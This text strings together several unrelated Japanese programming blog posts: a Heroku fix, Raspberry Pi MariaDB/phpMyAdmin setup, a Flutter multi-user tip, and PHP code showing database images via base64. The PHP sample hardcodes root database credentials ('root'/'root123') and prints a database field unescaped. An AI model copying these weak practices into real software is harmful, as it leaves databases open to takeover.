こちらを.gitignoreに記載！
するとエラーが消えた！

アプリお帰りなさい〜
万事解決！

参考：
エラーの追い方
https://qiita.com/m-itoidcf/items/77d064147a32169b5449

pgのバージョン設定
https://qiita.com/Hijiri-K/items/51d53c0512a2ef455da6

Herokuでのリリース方法など
https://qiita.com/kazukimatsumoto/items/a0daa7281a3948701c39
ラズパイにMariaDBとphpMyAdminを導入してみる

##はじめに
今までに2回に分けてラズパイに[apache2](https://qiita.com/mono_taro/items/c4f6dfed115c30d0eef6)や[php](https://qiita.com/mono_taro/items/9a6af3f3f8fb14ba27aa)を導入してきたが、今回はMariaDB(よくわからないけどMySQLの派生？)とデータベースをブラウザ経由で管理できるphpMyAdminを導入してみる。
なお、バーション管理ツールはaptを使いなさいという記事を見かけたので([apt-getは、もう古い。aptを使いなさい。](https://zarat.hatenablog.com/entry/2019/03/13/115400))、よくわからないけどaptを使っていきます。

###MariaDB導入
まずは`sudo apt update`をする。
で、MariaDBを導入する。

```
sudo apt install mariadb-server
```
なお、インストールしたあとの諸設定は[こちらの記事](https://qiita.com/mtmtEM/items/cbda7216c08bc363be1f)(「ラズベリーパイにMariadbをインストールした時のメモ」)を参照させていただきました。

###phpMyAdmin導入
MariaDBの導入が出来たら次はphpMyAdminを導入する。

```
sudo apt install phpmyadmin
```
設定画面が出てくるので、「apache2」にチェックを入れ、「yes」「ok」で進み、パスワードを入力する。
※MariaDBの設定が済んでいればパスワードの設定は必要なし？


###ログイン
`http://192.168.*.*/phpmyadmin`でphpMyAdminのログインページを開く
ユーザー名「root」,パスワードは設定したものを使う。
#####補足
phpMyAdminを使ってたらこんな感じのエラーが出てくることがある？(自分は出てきた)

```
Warning in ./libraries/sql.lib.php#613
 count(): Parameter must be an array or an object that implements Countable
```
この対処の方法は[こちらの記事](https://gyaboo.com/article.php?story=2019071120281975)(「phpMyAdmin のユーザー作成画面等でエラー」)を参照させていただきました。


####最後に
LAMP環境というものを全然知らず、ラズパイでphpをやろうとapache2やphp導入をしているうちにLAMPというものを知り、後付でこの記事を書かせてもらいました。
これでラズパイでのLAMP環境の構築は完了です！(で良いのかな？)

apache2導入
[ラズパイにApache2を導入してみる](https://qiita.com/mono_taro/items/c4f6dfed115c30d0eef6),
php導入
[ラズパイでPHPを導入してみた](https://qiita.com/mono_taro/items/9a6af3f3f8fb14ba27aa)


##追記
phpmyadminインストール後、`http://192.168.*.*/phpmyadmin`でアクセスしても404エラーが返ってくる場合の対処方法は[こちら](https://www.virment.com/phpmyadmin-problem/)(phpmyadminにアクセスできない場合の対処方法)が参考になると思います。
flutterをマルチユーザ環境で使うときのTIPS

# モチベーション

* 1台のMacに複数のユーザがログインする環境でflutterを使いたい
* 全員の`~/flutter/bin`にインストールするのはバカっぽい

# 前提
* 自分およびログインしようとするユーザが管理者権限があること

# 手順
* 管理者でログインし、`/usr/local/opt/`にflutterを解凍する

```
$ cd /usr/local/opt/
$ chmod -R g+w flutter # ファイルすべてにgroupに書き込み権限を付与
$ find flutter -type d -print | xargs chmod g+x # ディレクトリ全てに権限を追加
```

# おまけ
* Android Studio自体はユーザ毎にインストールする必要はないが、プラグインはすべて入れ直し
* `flutter doctor --android-licenses`はユーザ毎にやる必要がある
* VSCodeのプラグインもユーザ毎にインストールする必要がある
【PHP+MySQL】データベースに格納した画像データを表示する方法(base64エンコード)

####１．DBに格納した画像を表示したい。

特定のフォルダに入っている画像の表示ではなく、DBに格納した画像(バイナリデータ)
を表示する方法を知りたい。
そんな場合に使える方法を調べてみた。

一般的にある下記方法を実行すると、真っ黒い画面しか出てこない。

```php
<?php
$img = file_get_contents("test.jpg");
//ここでdbに$imgを格納
//格納した$imgをselectして取り出し
header('Content-type: image/jpeg');
echo $img;
?>
```
解決方法は４へ。

####２．恐竜の画像を格納するテーブルの作成

画像はmediumblob型として保存

```
create table tbl_dinoimg (
 id integer,
 img mediumblob,
 ext varchar(10),
 primary key(id)
);
```

####３．実際のデータが格納されているテーブル

![dino_image1_pre.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/494408/90f06a1b-953f-5665-a62d-2231b50d0f4f.jpeg)


####4.DBに格納した画像バイナリデータをbase64に変換後、htmlに出力するソース

```php:dino_display_image2.php
<?php 
    $dbname='db_dino';
    $dsn = 'mysql:dbname='.$dbname.';host=localhost:3308;charset=utf8mb4';
    $user = 'root';
    $password = 'root123';
    $dbh = new PDO($dsn, $user, $password);

    $sql_select = "SELECT ext,img FROM tbl_dinoimg WHERE id = ?";
    $result1=$dbh->prepare($sql_select);
    //パラメータをセット
    $id=1;
    $result1->bindparam(1,$id,PDO::PARAM_INT);
    $result1->execute();
    $row = $result1 -> fetch(PDO::FETCH_ASSOC);
    //取得した画像バイナリデータをbase64で変換。
    $img = base64_encode($row['img']);
 ?>
	<!-- エンコードした情報をimgタグに表示 -->
    <img src="data:<?php echo $row['ext'] ?>;base64,<?php echo $img; ?>"><br>

```
####５．画像表示に成功


![dino_image0_pre.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/494408/0b2875a3-8ee4-fbf0-b646-153cab432508.jpeg)